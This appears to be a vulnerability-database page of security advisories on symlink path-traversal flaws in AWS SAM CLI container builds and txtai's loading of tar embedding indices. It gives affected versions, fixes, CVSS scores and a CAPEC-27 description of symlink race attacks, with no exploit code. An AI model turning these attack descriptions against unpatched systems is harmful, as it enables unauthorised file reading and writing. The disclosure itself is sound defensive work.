page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.\n\n\n\n### Credit\n\nWe would like to thank [Kevin Backhouse](https://github.com/kevinbackhouse) with the GitHub Security Lab for collaborating on this issue through the coordinated vulnerability disclosure process.",
  "id": "GHSA-pp64-wj43-xqcr",
  "modified": "2025-10-14T21:59:12Z",
  "published": "2025-03-31T22:36:52Z",
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    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-sam-cli/security/advisories/GHSA-pp64-wj43-xqcr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3048"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-sam-cli/pull/7890"
    },
    {
      "type": "WEB",
      "url": "https://aws.amazon.com/security/security-bulletins/AWS-2025-008"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aws/aws-sam-cli"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-sam-cli/releases/tag/v1.134.0"
    }
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  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AWS SAM CLI Path Traversal allows file copy to local cache"
}

GHSA-PX37-JPQX-97Q9

Vulnerability from github – Published: 2025-03-31 22:36 – Updated: 2025-10-14 21:59
VLAI
Summary
AWS SAM CLI Path Traversal allows file copy to build container
Details

Summary

The AWS Serverless Application Model Command Line Interface (AWS SAM CLI) is an open-source CLI tool that helps Lambda developers to build and develop Lambda applications locally on their computers using Docker.

When running the AWS SAM CLI build process with Docker and symlinks are included in the build files, the container environment allows a user to access privileged files on the host by leveraging the elevated permissions granted to the tool. A user could leverage the elevated permissions to access restricted files via symlinks and copy them to a more permissive location on the container.

Users should upgrade to v1.133.0 or newer and ensure any forked or derivative code is patched to incorporate the new fixes.

Impact

This issue is limited to the local workspace and does not affect AWS services, production environments or cross-account resources. The issue only affects local workspaces using AWS SAM CLI with container builds (--use-container), potentially allowing access to local files outside the build directory through the usage of symlinks.

Impacted versions: <= AWS SAM CLI v1.132.0

Patches

The issue has been addressed in version 1.133.0. Users should upgrade and ensure any forked or derivative code is patched to incorporate the new fixes. To retain the previous behavior and allow symlinks to resolve on the host machine, please use the explicit '--mount-symlinks' parameter.

Workarounds

There is no recommended work around. Customers are advised to upgrade to version v1.133.0 or the latest version.

References

CVE-2025-3047

If you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.

Credit

We would like to thank Kevin Backhouse with the GitHub Security Lab for collaborating on this issue through the coordinated vulnerability disclosure process.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
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  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "aws-sam-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
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              "fixed": "1.133.0"
            }
          ],
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        }
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  "aliases": [
    "CVE-2025-3047"
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      "CWE-22",
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    "github_reviewed_at": "2025-03-31T22:36:49Z",
    "nvd_published_at": "2025-03-31T16:15:27Z",
    "severity": "MODERATE"
  },
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  "id": "GHSA-px37-jpqx-97q9",
  "modified": "2025-10-14T21:59:07Z",
  "published": "2025-03-31T22:36:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-sam-cli/security/advisories/GHSA-px37-jpqx-97q9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3047"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-sam-cli/pull/7865"
    },
    {
      "type": "WEB",
      "url": "https://aws.amazon.com/security/security-bulletins/AWS-2025-008"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aws/aws-sam-cli"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-sam-cli/releases/tag/v1.134.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AWS SAM CLI Path Traversal allows file copy to build container"
}

GHSA-Q235-C2J2-RM76

Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2025-09-22 21:30
VLAI
Details

The txtai framework allows the loading of compressed tar files as embedding indices. While the validate function is intended to prevent path traversal vulnerabilities by ensuring safe filenames, it does not account for symbolic links within the tar file. An attacker is able to write a file anywhere in the filesystem when txtai is used to load untrusted embedding indices

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-10854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-61"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-22T13:16:01Z",
    "severity": "HIGH"
  },
  "details": "The txtai framework allows the loading of compressed tar files as embedding indices. While the validate function is intended to prevent path traversal vulnerabilities by ensuring safe filenames, it does not account for symbolic links within the tar file. An attacker is able to write a file anywhere in the filesystem when txtai is used to load untrusted embedding indices",
  "id": "GHSA-q235-c2j2-rm76",
  "modified": "2025-09-22T21:30:21Z",
  "published": "2025-09-22T21:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10854"
    },
    {
      "type": "WEB",
      "url": "https://github.com/neuml/txtai/issues/965"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/txtai-arbitrary-file-write-jfsa-2025-001471363"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Implementation

Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.

Mitigation MIT-48.1
Architecture and Design

Strategy: Separation of Privilege

  • Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-27: Leveraging Race Conditions via Symbolic Links

This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.

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